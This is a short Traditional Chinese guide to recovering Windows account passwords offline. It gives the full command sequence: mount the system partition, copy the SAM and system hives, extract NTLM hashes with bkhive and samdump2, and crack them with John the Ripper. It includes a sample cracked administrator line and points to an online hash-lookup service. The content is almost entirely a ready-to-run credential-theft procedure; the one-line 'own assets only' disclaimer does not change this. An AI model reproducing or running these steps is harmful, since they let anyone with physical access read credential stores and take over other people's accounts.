原理:離線掛載 Windows 系統分區,提取 C:\Windows\System32\config\SAM 與 system 檔案,利用開源工具鏈導出雜湊並破解。
# 1. 掛載 NTFS 分區
mount -t ntfs /dev/hda1 /mnt/windows
# 2. 複製 SAM 與 system
mkdir /home/user/sam
cp /mnt/windows/WINDOWS/system32/config/SAM /home/user/sam/
cp /mnt/windows/WINDOWS/system32/config/system /home/user/sam/
umount /mnt/windows
# 3. 產生金鑰與雜湊
cd /home/user/sam
bkhive system keys
samdump2 SAM keys > hashes
# 4. John the Ripper 破解
john hashes
# 5. 顯示結果
john --show hashes
administrator:123456:500:e263f50a6a506be3d494d3d62b4dc666:::
???456 表示部分破解,可用 john --restore hashes 續跑。無 Linux 環境可至 Objectif Sécurité 線上提交雜湊查詢。
僅供系統管理員維護自有資產使用,嚴禁非法用途。